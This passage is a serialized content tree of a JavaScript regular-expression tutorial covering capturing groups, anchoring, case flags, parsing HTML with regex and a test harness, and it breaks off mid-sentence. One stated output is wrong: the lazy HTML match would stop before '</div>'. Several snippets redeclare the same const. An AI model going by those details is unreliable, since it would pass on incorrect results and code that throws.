words.",[135,293743,293745],{"className":1607,"code":293744,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Whole word matching\nconst text = 'The cat scattered the cations.';\nconst matches = text.match(\u002F\\bcat\\b\u002Fg);\nconsole.log(matches);\n\u002F\u002F Result: ['cat']\n\u002F\u002F Only matches 'cat' as a whole word\n",[143,293746,293747,293752,293764,293792,293800,293805],{"__ignoreMap":141},[1560,293748,293749],{"class":1562,"line":1563},[1560,293750,293751],{"class":1649},"\u002F\u002F ✅ GOOD: Whole word matching\n",[1560,293753,293754,293756,293758,293760,293762],{"class":1562,"line":337},[1560,293755,8180],{"class":1669},[1560,293757,87414],{"class":1576},[1560,293759,8186],{"class":1669},[1560,293761,293687],{"class":5634},[1560,293763,2228],{"class":1570},[1560,293765,293766,293768,293770,293772,293774,293776,293778,293780,293782,293784,293786,293788,293790],{"class":1562,"line":343},[1560,293767,8180],{"class":1669},[1560,293769,293696],{"class":1576},[1560,293771,8186],{"class":1669},[1560,293773,22718],{"class":1570},[1560,293775,97000],{"class":1566},[1560,293777,1688],{"class":1570},[1560,293779,9423],{"class":5634},[1560,293781,267781],{"class":1669},[1560,293783,8997],{"class":11919},[1560,293785,267781],{"class":1669},[1560,293787,9423],{"class":5634},[1560,293789,22733],{"class":1669},[1560,293791,1744],{"class":1570},[1560,293793,293794,293796,293798],{"class":1562,"line":365},[1560,293795,8211],{"class":1570},[1560,293797,8214],{"class":1566},[1560,293799,293723],{"class":1570},[1560,293801,293802],{"class":1562,"line":889},[1560,293803,293804],{"class":1649},"\u002F\u002F Result: ['cat']\n",[1560,293806,293807],{"class":1562,"line":1710},[1560,293808,293809],{"class":1649},"\u002F\u002F Only matches 'cat' as a whole word\n",[11,293811,293813],{"id":293812},"mistake-7-incorrect-use-of-capturing-groups","Mistake 7: Incorrect Use of Capturing Groups",[33,293815,238776],{"id":293816},"the-problem-6",[16,293818,293819],{},"Unnecessary capturing groups waste memory and can confuse your matches.",[135,293821,293823],{"className":1607,"code":293822,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Unnecessary capturing\nconst date = '2026-05-26';\nconst match = date.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);\n\u002F\u002F Creates 4 capture groups (0=full match, 1=year, 2=month, 3=day)\n\n\u002F\u002F If you only need the full match:\nconst match = date.match(\u002F\\d{4}-\\d{2}-\\d{2}\u002F);\n\u002F\u002F No unnecessary capture groups\n",[143,293824,293825,293830,293843,293884,293889,293893,293898,293934],{"__ignoreMap":141},[1560,293826,293827],{"class":1562,"line":1563},[1560,293828,293829],{"class":1649},"\u002F\u002F ❌ BAD: Unnecessary capturing\n",[1560,293831,293832,293834,293836,293838,293841],{"class":1562,"line":337},[1560,293833,8180],{"class":1669},[1560,293835,87637],{"class":1576},[1560,293837,8186],{"class":1669},[1560,293839,293840],{"class":5634}," '2026-05-26'",[1560,293842,2228],{"class":1570},[1560,293844,293845,293847,293849,293851,293853,293855,293857,293859,293861,293863,293865,293868,293870,293872,293874,293876,293878,293880,293882],{"class":1562,"line":343},[1560,293846,8180],{"class":1669},[1560,293848,96992],{"class":1576},[1560,293850,8186],{"class":1669},[1560,293852,88213],{"class":1570},[1560,293854,97000],{"class":1566},[1560,293856,1688],{"class":1570},[1560,293858,9423],{"class":5634},[1560,293860,1688],{"class":11919},[1560,293862,157302],{"class":1576},[1560,293864,266214],{"class":1669},[1560,293866,293867],{"class":11919},")-(",[1560,293869,157302],{"class":1576},[1560,293871,98989],{"class":1669},[1560,293873,293867],{"class":11919},[1560,293875,157302],{"class":1576},[1560,293877,98989],{"class":1669},[1560,293879,1525],{"class":11919},[1560,293881,9423],{"class":5634},[1560,293883,1744],{"class":1570},[1560,293885,293886],{"class":1562,"line":365},[1560,293887,293888],{"class":1649},"\u002F\u002F Creates 4 capture groups (0=full match, 1=year, 2=month, 3=day)\n",[1560,293890,293891],{"class":1562,"line":889},[1560,293892,1702],{"emptyLinePlaceholder":363},[1560,293894,293895],{"class":1562,"line":1710},[1560,293896,293897],{"class":1649},"\u002F\u002F If you only need the full match:\n",[1560,293899,293900,293902,293904,293906,293908,293910,293912,293914,293916,293918,293920,293922,293924,293926,293928,293930,293932],{"class":1562,"line":1717},[1560,293901,8180],{"class":1669},[1560,293903,96992],{"class":1576},[1560,293905,8186],{"class":1669},[1560,293907,88213],{"class":1570},[1560,293909,97000],{"class":1566},[1560,293911,1688],{"class":1570},[1560,293913,9423],{"class":5634},[1560,293915,157302],{"class":1576},[1560,293917,266214],{"class":1669},[1560,293919,9412],{"class":11919},[1560,293921,157302],{"class":1576},[1560,293923,98989],{"class":1669},[1560,293925,9412],{"class":11919},[1560,293927,157302],{"class":1576},[1560,293929,98989],{"class":1669},[1560,293931,9423],{"class":5634},[1560,293933,1744],{"class":1570},[1560,293935,293936],{"class":1562,"line":1747},[1560,293937,293938],{"class":1649},"\u002F\u002F No unnecessary capture groups\n",[33,293940,33799],{"id":293941},"the-fix-6",[16,293943,293944,293945,293948],{},"Use non-capturing groups ",[143,293946,293947],{},"(?:...)"," when you don't need to capture.",[135,293950,293952],{"className":1607,"code":293951,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Non-capturing group\nconst text = 'color: red or colour: blue';\nconst match = text.match(\u002Fcolou?r:\u002Fg);\n\u002F\u002F Or with grouping:\nconst match = text.match(\u002Fcol(?:ou)?r:\u002Fg);\n\u002F\u002F Groups without capturing (if you need the group for alternation)\n",[143,293953,293954,293959,293972,294002,294007,294036],{"__ignoreMap":141},[1560,293955,293956],{"class":1562,"line":1563},[1560,293957,293958],{"class":1649},"\u002F\u002F ✅ GOOD: Non-capturing group\n",[1560,293960,293961,293963,293965,293967,293970],{"class":1562,"line":337},[1560,293962,8180],{"class":1669},[1560,293964,87414],{"class":1576},[1560,293966,8186],{"class":1669},[1560,293968,293969],{"class":5634}," 'color: red or colour: blue'",[1560,293971,2228],{"class":1570},[1560,293973,293974,293976,293978,293980,293982,293984,293986,293988,293991,293993,293996,293998,294000],{"class":1562,"line":343},[1560,293975,8180],{"class":1669},[1560,293977,96992],{"class":1576},[1560,293979,8186],{"class":1669},[1560,293981,22718],{"class":1570},[1560,293983,97000],{"class":1566},[1560,293985,1688],{"class":1570},[1560,293987,9423],{"class":5634},[1560,293989,293990],{"class":11919},"colou",[1560,293992,33994],{"class":1669},[1560,293994,293995],{"class":11919},"r:",[1560,293997,9423],{"class":5634},[1560,293999,22733],{"class":1669},[1560,294001,1744],{"class":1570},[1560,294003,294004],{"class":1562,"line":365},[1560,294005,294006],{"class":1649},"\u002F\u002F Or with grouping:\n",[1560,294008,294009,294011,294013,294015,294017,294019,294021,294023,294026,294028,294030,294032,294034],{"class":1562,"line":889},[1560,294010,8180],{"class":1669},[1560,294012,96992],{"class":1576},[1560,294014,8186],{"class":1669},[1560,294016,22718],{"class":1570},[1560,294018,97000],{"class":1566},[1560,294020,1688],{"class":1570},[1560,294022,9423],{"class":5634},[1560,294024,294025],{"class":11919},"col(?:ou)",[1560,294027,33994],{"class":1669},[1560,294029,293995],{"class":11919},[1560,294031,9423],{"class":5634},[1560,294033,22733],{"class":1669},[1560,294035,1744],{"class":1570},[1560,294037,294038],{"class":1562,"line":1710},[1560,294039,294040],{"class":1649},"\u002F\u002F Groups without capturing (if you need the group for alternation)\n",[11,294042,294044],{"id":294043},"mistake-8-not-anchoring-when-you-should","Mistake 8: Not Anchoring When You Should",[33,294046,238776],{"id":294047},"the-problem-7",[16,294049,54220,294050,1856,294052,294054],{},[143,294051,38799],{},[143,294053,11938],{}," can lead to partial matches when you want full string validation.",[135,294056,294058],{"className":1607,"code":294057,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Partial match considered valid\nconst input = '123abc';\nconst regex = \u002F\\d+\u002F;\nconsole.log(regex.test(input));\n\u002F\u002F Result: true (matched '123', ignored 'abc')\n\n\u002F\u002F This is NOT validating the whole string!\n",[143,294059,294060,294065,294078,294096,294110,294115,294119],{"__ignoreMap":141},[1560,294061,294062],{"class":1562,"line":1563},[1560,294063,294064],{"class":1649},"\u002F\u002F ❌ BAD: Partial match considered valid\n",[1560,294066,294067,294069,294071,294073,294076],{"class":1562,"line":337},[1560,294068,8180],{"class":1669},[1560,294070,33169],{"class":1576},[1560,294072,8186],{"class":1669},[1560,294074,294075],{"class":5634}," '123abc'",[1560,294077,2228],{"class":1570},[1560,294079,294080,294082,294084,294086,294088,294090,294092,294094],{"class":1562,"line":343},[1560,294081,8180],{"class":1669},[1560,294083,293032],{"class":1576},[1560,294085,8186],{"class":1669},[1560,294087,11912],{"class":5634},[1560,294089,157302],{"class":1576},[1560,294091,9448],{"class":1669},[1560,294093,9423],{"class":5634},[1560,294095,2228],{"class":1570},[1560,294097,294098,294100,294102,294105,294107],{"class":1562,"line":365},[1560,294099,8211],{"class":1570},[1560,294101,8214],{"class":1566},[1560,294103,294104],{"class":1570},"(regex.",[1560,294106,98998],{"class":1566},[1560,294108,294109],{"class":1570},"(input));\n",[1560,294111,294112],{"class":1562,"line":889},[1560,294113,294114],{"class":1649},"\u002F\u002F Result: true (matched '123', ignored 'abc')\n",[1560,294116,294117],{"class":1562,"line":1710},[1560,294118,1702],{"emptyLinePlaceholder":363},[1560,294120,294121],{"class":1562,"line":1717},[1560,294122,294123],{"class":1649},"\u002F\u002F This is NOT validating the whole string!\n",[33,294125,33799],{"id":294126},"the-fix-7",[16,294128,294129,294130,294132,294133,294135],{},"Anchor your regex with ",[143,294131,38799],{}," (start) and ",[143,294134,11938],{}," (end).",[135,294137,294139],{"className":1607,"code":294138,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Full string validation\nconst input = '123abc';\nconst regex = \u002F^\\d+$\u002F;\nconsole.log(regex.test(input));\n\u002F\u002F Result: false (because of 'abc')\n\n\u002F\u002F ✅ For whole string matching:\nconst regex = \u002F^[a-z]+$\u002F;  \u002F\u002F Only lowercase letters, whole string\n",[143,294140,294141,294146,294158,294178,294190,294195,294199,294204],{"__ignoreMap":141},[1560,294142,294143],{"class":1562,"line":1563},[1560,294144,294145],{"class":1649},"\u002F\u002F ✅ GOOD: Full string validation\n",[1560,294147,294148,294150,294152,294154,294156],{"class":1562,"line":337},[1560,294149,8180],{"class":1669},[1560,294151,33169],{"class":1576},[1560,294153,8186],{"class":1669},[1560,294155,294075],{"class":5634},[1560,294157,2228],{"class":1570},[1560,294159,294160,294162,294164,294166,294168,294170,294172,294174,294176],{"class":1562,"line":343},[1560,294161,8180],{"class":1669},[1560,294163,293032],{"class":1576},[1560,294165,8186],{"class":1669},[1560,294167,11912],{"class":5634},[1560,294169,38799],{"class":1669},[1560,294171,157302],{"class":1576},[1560,294173,43156],{"class":1669},[1560,294175,9423],{"class":5634},[1560,294177,2228],{"class":1570},[1560,294179,294180,294182,294184,294186,294188],{"class":1562,"line":365},[1560,294181,8211],{"class":1570},[1560,294183,8214],{"class":1566},[1560,294185,294104],{"class":1570},[1560,294187,98998],{"class":1566},[1560,294189,294109],{"class":1570},[1560,294191,294192],{"class":1562,"line":889},[1560,294193,294194],{"class":1649},"\u002F\u002F Result: false (because of 'abc')\n",[1560,294196,294197],{"class":1562,"line":1710},[1560,294198,1702],{"emptyLinePlaceholder":363},[1560,294200,294201],{"class":1562,"line":1717},[1560,294202,294203],{"class":1649},"\u002F\u002F ✅ For whole string matching:\n",[1560,294205,294206,294208,294210,294212,294214,294216,294218,294220,294222,294224],{"class":1562,"line":1747},[1560,294207,8180],{"class":1669},[1560,294209,293032],{"class":1576},[1560,294211,8186],{"class":1669},[1560,294213,11912],{"class":5634},[1560,294215,38799],{"class":1669},[1560,294217,38854],{"class":1576},[1560,294219,43156],{"class":1669},[1560,294221,9423],{"class":5634},[1560,294223,3409],{"class":1570},[1560,294225,294226],{"class":1649},"\u002F\u002F Only lowercase letters, whole string\n",[11,294228,294230],{"id":294229},"mistake-9-overlooking-case-sensitivity","Mistake 9: Overlooking Case Sensitivity",[33,294232,238776],{"id":294233},"the-problem-8",[16,294235,294236],{},"Regex matching is case-sensitive by default.",[135,294238,294240],{"className":1607,"code":294239,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Case-sensitive by default\nconst text = 'Hello World';\nconst match = text.match(\u002Fhello\u002F);\nconsole.log(match);\n\u002F\u002F Result: null (no match because 'H' != 'h')\n",[143,294241,294242,294247,294260,294282,294291],{"__ignoreMap":141},[1560,294243,294244],{"class":1562,"line":1563},[1560,294245,294246],{"class":1649},"\u002F\u002F ❌ BAD: Case-sensitive by default\n",[1560,294248,294249,294251,294253,294255,294258],{"class":1562,"line":337},[1560,294250,8180],{"class":1669},[1560,294252,87414],{"class":1576},[1560,294254,8186],{"class":1669},[1560,294256,294257],{"class":5634}," 'Hello World'",[1560,294259,2228],{"class":1570},[1560,294261,294262,294264,294266,294268,294270,294272,294274,294276,294278,294280],{"class":1562,"line":343},[1560,294263,8180],{"class":1669},[1560,294265,96992],{"class":1576},[1560,294267,8186],{"class":1669},[1560,294269,22718],{"class":1570},[1560,294271,97000],{"class":1566},[1560,294273,1688],{"class":1570},[1560,294275,9423],{"class":5634},[1560,294277,22064],{"class":11919},[1560,294279,9423],{"class":5634},[1560,294281,1744],{"class":1570},[1560,294283,294284,294286,294288],{"class":1562,"line":365},[1560,294285,8211],{"class":1570},[1560,294287,8214],{"class":1566},[1560,294289,294290],{"class":1570},"(match);\n",[1560,294292,294293],{"class":1562,"line":889},[1560,294294,294295],{"class":1649},"\u002F\u002F Result: null (no match because 'H' != 'h')\n",[33,294297,33799],{"id":294298},"the-fix-8",[16,294300,18550,294301,294303],{},[143,294302,7975],{}," flag for case-insensitive matching.",[135,294305,294307],{"className":1607,"code":294306,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Case-insensitive flag\nconst text = 'Hello World';\nconst match = text.match(\u002Fhello\u002Fi);\nconsole.log(match[0]);\n\u002F\u002F Result: 'Hello'\n\n\u002F\u002F Or be explicit about case:\nconst match = text.match(\u002F[Hh]ello\u002F);\n",[143,294308,294309,294314,294326,294350,294362,294367,294371,294376],{"__ignoreMap":141},[1560,294310,294311],{"class":1562,"line":1563},[1560,294312,294313],{"class":1649},"\u002F\u002F ✅ GOOD: Case-insensitive flag\n",[1560,294315,294316,294318,294320,294322,294324],{"class":1562,"line":337},[1560,294317,8180],{"class":1669},[1560,294319,87414],{"class":1576},[1560,294321,8186],{"class":1669},[1560,294323,294257],{"class":5634},[1560,294325,2228],{"class":1570},[1560,294327,294328,294330,294332,294334,294336,294338,294340,294342,294344,294346,294348],{"class":1562,"line":343},[1560,294329,8180],{"class":1669},[1560,294331,96992],{"class":1576},[1560,294333,8186],{"class":1669},[1560,294335,22718],{"class":1570},[1560,294337,97000],{"class":1566},[1560,294339,1688],{"class":1570},[1560,294341,9423],{"class":5634},[1560,294343,22064],{"class":11919},[1560,294345,9423],{"class":5634},[1560,294347,7975],{"class":1669},[1560,294349,1744],{"class":1570},[1560,294351,294352,294354,294356,294358,294360],{"class":1562,"line":365},[1560,294353,8211],{"class":1570},[1560,294355,8214],{"class":1566},[1560,294357,97040],{"class":1570},[1560,294359,5285],{"class":1576},[1560,294361,157528],{"class":1570},[1560,294363,294364],{"class":1562,"line":889},[1560,294365,294366],{"class":1649},"\u002F\u002F Result: 'Hello'\n",[1560,294368,294369],{"class":1562,"line":1710},[1560,294370,1702],{"emptyLinePlaceholder":363},[1560,294372,294373],{"class":1562,"line":1717},[1560,294374,294375],{"class":1649},"\u002F\u002F Or be explicit about case:\n",[1560,294377,294378,294380,294382,294384,294386,294388,294390,294392,294395,294398,294400],{"class":1562,"line":1747},[1560,294379,8180],{"class":1669},[1560,294381,96992],{"class":1576},[1560,294383,8186],{"class":1669},[1560,294385,22718],{"class":1570},[1560,294387,97000],{"class":1566},[1560,294389,1688],{"class":1570},[1560,294391,9423],{"class":5634},[1560,294393,294394],{"class":1576},"[Hh]",[1560,294396,294397],{"class":11919},"ello",[1560,294399,9423],{"class":5634},[1560,294401,1744],{"class":1570},[11,294403,294405],{"id":294404},"mistake-10-using-regex-for-htmlxml-parsing","Mistake 10: Using Regex for HTML\u002FXML Parsing",[33,294407,238776],{"id":294408},"the-problem-9",[16,294410,294411],{},"HTML and XML have nested structures that regex can't properly parse.",[135,294413,294415],{"className":1607,"code":294414,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Trying to parse HTML with regex\nconst html = '\u003Cdiv class=\"outer\">\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>\u003C\u002Fdiv>';\nconst match = html.match(\u002F\u003Cdiv class=\"outer\">(.*?)\u003C\\\u002Fdiv>\u002F);\nconsole.log(match[1]);\n\u002F\u002F Result: '\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>'\n\u002F\u002F WRONG! This matched the INNER div's closing tag\n\n\u002F\u002F This approach fails with nested structures!\n",[143,294416,294417,294422,294435,294469,294481,294486,294491,294495],{"__ignoreMap":141},[1560,294418,294419],{"class":1562,"line":1563},[1560,294420,294421],{"class":1649},"\u002F\u002F ❌ BAD: Trying to parse HTML with regex\n",[1560,294423,294424,294426,294428,294430,294433],{"class":1562,"line":337},[1560,294425,8180],{"class":1669},[1560,294427,108795],{"class":1576},[1560,294429,8186],{"class":1669},[1560,294431,294432],{"class":5634}," '\u003Cdiv class=\"outer\">\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>\u003C\u002Fdiv>'",[1560,294434,2228],{"class":1570},[1560,294436,294437,294439,294441,294443,294445,294447,294449,294451,294454,294456,294458,294461,294463,294465,294467],{"class":1562,"line":343},[1560,294438,8180],{"class":1669},[1560,294440,96992],{"class":1576},[1560,294442,8186],{"class":1669},[1560,294444,292610],{"class":1570},[1560,294446,97000],{"class":1566},[1560,294448,1688],{"class":1570},[1560,294450,9423],{"class":5634},[1560,294452,294453],{"class":11919},"\u003Cdiv class=\"outer\">(",[1560,294455,468],{"class":1576},[1560,294457,182080],{"class":1669},[1560,294459,294460],{"class":11919},")\u003C",[1560,294462,43130],{"class":11915},[1560,294464,292629],{"class":11919},[1560,294466,9423],{"class":5634},[1560,294468,1744],{"class":1570},[1560,294470,294471,294473,294475,294477,294479],{"class":1562,"line":365},[1560,294472,8211],{"class":1570},[1560,294474,8214],{"class":1566},[1560,294476,97040],{"class":1570},[1560,294478,3585],{"class":1576},[1560,294480,157528],{"class":1570},[1560,294482,294483],{"class":1562,"line":889},[1560,294484,294485],{"class":1649},"\u002F\u002F Result: '\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>'\n",[1560,294487,294488],{"class":1562,"line":1710},[1560,294489,294490],{"class":1649},"\u002F\u002F WRONG! This matched the INNER div's closing tag\n",[1560,294492,294493],{"class":1562,"line":1717},[1560,294494,1702],{"emptyLinePlaceholder":363},[1560,294496,294497],{"class":1562,"line":1747},[1560,294498,294499],{"class":1649},"\u002F\u002F This approach fails with nested structures!\n",[33,294501,33799],{"id":294502},"the-fix-9",[16,294504,294505],{},"Use a proper HTML\u002FXML parser.",[135,294507,294509],{"className":1607,"code":294508,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Use DOMParser for HTML\nconst html = '\u003Cdiv class=\"outer\">\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>\u003C\u002Fdiv>';\nconst parser = new DOMParser();\nconst doc = parser.parseFromString(html, 'text\u002Fhtml');\nconst outerDiv = doc.querySelector('div.outer');\nconsole.log(outerDiv.innerHTML);\n\u002F\u002F Result: '\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>' (correct!)\n\n\u002F\u002F For XML, use DOMParser with 'text\u002Fxml'\n\u002F\u002F For Node.js, use 'jsdom' or 'cheerio'\n",[143,294510,294511,294516,294528,294542,294562,294583,294592,294597,294601,294606],{"__ignoreMap":141},[1560,294512,294513],{"class":1562,"line":1563},[1560,294514,294515],{"class":1649},"\u002F\u002F ✅ GOOD: Use DOMParser for HTML\n",[1560,294517,294518,294520,294522,294524,294526],{"class":1562,"line":337},[1560,294519,8180],{"class":1669},[1560,294521,108795],{"class":1576},[1560,294523,8186],{"class":1669},[1560,294525,294432],{"class":5634},[1560,294527,2228],{"class":1570},[1560,294529,294530,294532,294534,294536,294538,294540],{"class":1562,"line":343},[1560,294531,8180],{"class":1669},[1560,294533,228898],{"class":1576},[1560,294535,8186],{"class":1669},[1560,294537,11489],{"class":1669},[1560,294539,228905],{"class":1566},[1560,294541,90158],{"class":1570},[1560,294543,294544,294546,294548,294550,294552,294554,294557,294560],{"class":1562,"line":365},[1560,294545,8180],{"class":1669},[1560,294547,228914],{"class":1576},[1560,294549,8186],{"class":1669},[1560,294551,228919],{"class":1570},[1560,294553,228922],{"class":1566},[1560,294555,294556],{"class":1570},"(html, ",[1560,294558,294559],{"class":5634},"'text\u002Fhtml'",[1560,294561,1744],{"class":1570},[1560,294563,294564,294566,294569,294571,294574,294576,294578,294581],{"class":1562,"line":889},[1560,294565,8180],{"class":1669},[1560,294567,294568],{"class":1576}," outerDiv",[1560,294570,8186],{"class":1669},[1560,294572,294573],{"class":1570}," doc.",[1560,294575,11786],{"class":1566},[1560,294577,1688],{"class":1570},[1560,294579,294580],{"class":5634},"'div.outer'",[1560,294582,1744],{"class":1570},[1560,294584,294585,294587,294589],{"class":1562,"line":1710},[1560,294586,8211],{"class":1570},[1560,294588,8214],{"class":1566},[1560,294590,294591],{"class":1570},"(outerDiv.innerHTML);\n",[1560,294593,294594],{"class":1562,"line":1717},[1560,294595,294596],{"class":1649},"\u002F\u002F Result: '\u003Cdiv class=\"inner\">Text\u003C\u002Fdiv>' (correct!)\n",[1560,294598,294599],{"class":1562,"line":1747},[1560,294600,1702],{"emptyLinePlaceholder":363},[1560,294602,294603],{"class":1562,"line":2507},[1560,294604,294605],{"class":1649},"\u002F\u002F For XML, use DOMParser with 'text\u002Fxml'\n",[1560,294607,294608],{"class":1562,"line":2524},[1560,294609,294610],{"class":1649},"\u002F\u002F For Node.js, use 'jsdom' or 'cheerio'\n",[11,294612,294614],{"id":294613},"quick-reference-common-fixes","Quick Reference: Common Fixes",[193,294616,294617,294627],{},[196,294618,294619],{},[199,294620,294621,294623,294625],{},[202,294622,3684],{},[202,294624,265822],{},[202,294626,193710],{},[211,294628,294629,294647,294661,294676,294690,294706,294720,294735,294749],{},[199,294630,294631,294634,294639],{},[216,294632,294633],{},"Greedy match",[216,294635,294636],{},[143,294637,294638],{},".*",[216,294640,294641,1531,294644],{},[143,294642,294643],{},".*?",[143,294645,294646],{},"[^>]*",[199,294648,294649,294651,294656],{},[216,294650,268202],{},[216,294652,294653],{},[143,294654,294655],{},".pdf",[216,294657,294658],{},[143,294659,294660],{},"\\.pdf",[199,294662,294663,294666,294671],{},[216,294664,294665],{},"Nested quantifiers",[216,294667,294668],{},[143,294669,294670],{},"(a+)+",[216,294672,294673],{},[143,294674,294675],{},"a+",[199,294677,294678,294681,294686],{},[216,294679,294680],{},"Hyphen in range",[216,294682,294683],{},[143,294684,294685],{},"[a-z-0]",[216,294687,294688],{},[143,294689,293375],{},[199,294691,294692,294695,294699],{},[216,294693,294694],{},"Dot vs newline",[216,294696,294697],{},[143,294698,468],{},[216,294700,294701,1531,294703],{},[143,294702,267860],{},[143,294704,294705],{},"\u002F.\u002Fs",[199,294707,294708,294711,294715],{},[216,294709,294710],{},"Partial word",[216,294712,294713],{},[143,294714,8997],{},[216,294716,294717],{},[143,294718,294719],{},"\\bcat\\b",[199,294721,294722,294725,294730],{},[216,294723,294724],{},"No anchoring",[216,294726,294727],{},[143,294728,294729],{},"\\d+",[216,294731,294732],{},[143,294733,294734],{},"^\\d+$",[199,294736,294737,294740,294744],{},[216,294738,294739],{},"Case sensitive",[216,294741,294742],{},[143,294743,22064],{},[216,294745,294746],{},[143,294747,294748],{},"\u002Fhello\u002Fi",[199,294750,294751,294754,294757],{},[216,294752,294753],{},"HTML parsing",[216,294755,294756],{},"Regex",[216,294758,294759],{},"DOMParser",[11,294761,294763],{"id":294762},"testing-your-regexes","Testing Your Regexes",[16,294765,294766],{},"Always test your regexes with:",[77,294768,294769,294775,294781,294787],{},[44,294770,294771,294774],{},[47,294772,294773],{},"Valid input"," — does it match what it should?",[44,294776,294777,294780],{},[47,294778,294779],{},"Invalid input"," — does it reject what it should?",[44,294782,294783,294786],{},[47,294784,294785],{},"Edge cases"," — empty strings, very long strings, special characters",[44,294788,294789,294792],{},[47,294790,294791],{},"Similar but different input"," — make sure you're not over-matching",[135,294794,294796],{"className":1607,"code":294795,"language":1609,"meta":141,"style":141},"\u002F\u002F Test harness example\nfunction testRegex(regex, validCases, invalidCases) {\n  console.log('Testing:', regex);\n  validCases.forEach(str => {\n    console.assert(regex.test(str), `Should match: ${str}`);\n  });\n  invalidCases.forEach(str => {\n    console.assert(!regex.test(str), `Should not match: ${str}`);\n  });\n}\n\n\u002F\u002F Usage\ntestRegex(\u002F^\\d{4}-\\d{2}-\\d{2}$\u002F, \n  ['2026-05-26', '1999-12-31'],\n  ['2026\u002F05\u002F26', '26-05-2026', '2026-5-6']\n);\n",[143,294797,294798,294803,294826,294840,294855,294878,294882,294897,294922,294926,294930,294934,294938,294971,294985,295004],{"__ignoreMap":141},[1560,294799,294800],{"class":1562,"line":1563},[1560,294801,294802],{"class":1649},"\u002F\u002F Test harness example\n",[1560,294804,294805,294807,294810,294812,294814,294816,294819,294821,294824],{"class":1562,"line":337},[1560,294806,8648],{"class":1669},[1560,294808,294809],{"class":1566}," testRegex",[1560,294811,1688],{"class":1570},[1560,294813,278995],{"class":2219},[1560,294815,1459],{"class":1570},[1560,294817,294818],{"class":2219},"validCases",[1560,294820,1459],{"class":1570},[1560,294822,294823],{"class":2219},"invalidCases",[1560,294825,9345],{"class":1570},[1560,294827,294828,294830,294832,294834,294837],{"class":1562,"line":343},[1560,294829,9717],{"class":1570},[1560,294831,8214],{"class":1566},[1560,294833,1688],{"class":1570},[1560,294835,294836],{"class":5634},"'Testing:'",[1560,294838,294839],{"class":1570},", regex);\n",[1560,294841,294842,294845,294847,294849,294851,294853],{"class":1562,"line":365},[1560,294843,294844],{"class":1570},"  validCases.",[1560,294846,11513],{"class":1566},[1560,294848,1688],{"class":1570},[1560,294850,38740],{"class":2219},[1560,294852,9378],{"class":1669},[1560,294854,1571],{"class":1570},[1560,294856,294857,294859,294862,294864,294866,294869,294872,294874,294876],{"class":1562,"line":889},[1560,294858,102264],{"class":1570},[1560,294860,294861],{"class":1566},"assert",[1560,294863,294104],{"class":1570},[1560,294865,98998],{"class":1566},[1560,294867,294868],{"class":1570},"(str), ",[1560,294870,294871],{"class":5634},"`Should match: ${",[1560,294873,38740],{"class":1570},[1560,294875,9582],{"class":5634},[1560,294877,1744],{"class":1570},[1560,294879,294880],{"class":1562,"line":1710},[1560,294881,11618],{"class":1570},[1560,294883,294884,294887,294889,294891,294893,294895],{"class":1562,"line":1717},[1560,294885,294886],{"class":1570},"  invalidCases.",[1560,294888,11513],{"class":1566},[1560,294890,1688],{"class":1570},[1560,294892,38740],{"class":2219},[1560,294894,9378],{"class":1669},[1560,294896,1571],{"class":1570},[1560,294898,294899,294901,294903,294905,294907,294909,294911,294913,294916,294918,294920],{"class":1562,"line":1747},[1560,294900,102264],{"class":1570},[1560,294902,294861],{"class":1566},[1560,294904,1688],{"class":1570},[1560,294906,27989],{"class":1669},[1560,294908,293126],{"class":1570},[1560,294910,98998],{"class":1566},[1560,294912,294868],{"class":1570},[1560,294914,294915],{"class":5634},"`Should not match: ${",[1560,294917,38740],{"class":1570},[1560,294919,9582],{"class":5634},[1560,294921,1744],{"class":1570},[1560,294923,294924],{"class":1562,"line":2507},[1560,294925,11618],{"class":1570},[1560,294927,294928],{"class":1562,"line":2524},[1560,294929,1585],{"class":1570},[1560,294931,294932],{"class":1562,"line":2529},[1560,294933,1702],{"emptyLinePlaceholder":363},[1560,294935,294936],{"class":1562,"line":2534},[1560,294937,174014],{"class":1649},[1560,294939,294940,294943,294945,294947,294949,294951,294953,294955,294957,294959,294961,294963,294966,294968],{"class":1562,"line":2542},[1560,294941,294942],{"class":1566},"testRegex",[1560,294944,1688],{"class":1570},[1560,294946,9423],{"class":5634},[1560,294948,38799],{"class":1669},[1560,294950,157302],{"class":1576},[1560,294952,266214],{"class":1669},[1560,294954,9412],{"class":11919},[1560,294956,157302],{"class":1576},[1560,294958,98989],{"class":1669},[1560,294960,9412],{"class":11919},[1560,294962,157302],{"class":1576},[1560,294964,294965],{"class":1669},"{2}$",[1560,294967,9423],{"class":5634},[1560,294969,294970],{"class":1570},", \n",[1560,294972,294973,294976,294978,294980,294983],{"class":1562,"line":2558},[1560,294974,294975],{"class":1570},"  [",[1560,294977,266268],{"class":5634},[1560,294979,1459],{"class":1570},[1560,294981,294982],{"class":5634},"'1999-12-31'",[1560,294984,12044],{"class":1570},[1560,294986,294987,294989,294992,294994,294997,294999,295002],{"class":1562,"line":2570},[1560,294988,294975],{"class":1570},[1560,294990,294991],{"class":5634},"'2026\u002F05\u002F26'",[1560,294993,1459],{"class":1570},[1560,294995,294996],{"class":5634},"'26-05-2026'",[1560,294998,1459],{"class":1570},[1560,295000,295001],{"class":5634},"'2026-5-6'",[1560,295003,37203],{"class":1570},[1560,295005,295006],{"class":1562,"line":6638},[1560,295007,1744],{"class":1570},[11,295009,208883],{"id":161627},[16,295011,295012],{},"The most common regex mistakes all stem from:",[77,295014,295015,295023,295031,295037,295043],{},[44,295016,295017,109587,295020,295022],{},[47,295018,295019],{},"Not understanding greediness",[143,295021,33994],{}," for lazy, or be specific",[44,295024,295025,295028,295029],{},[47,295026,295027],{},"Forgetting to escape"," — metacharacters need 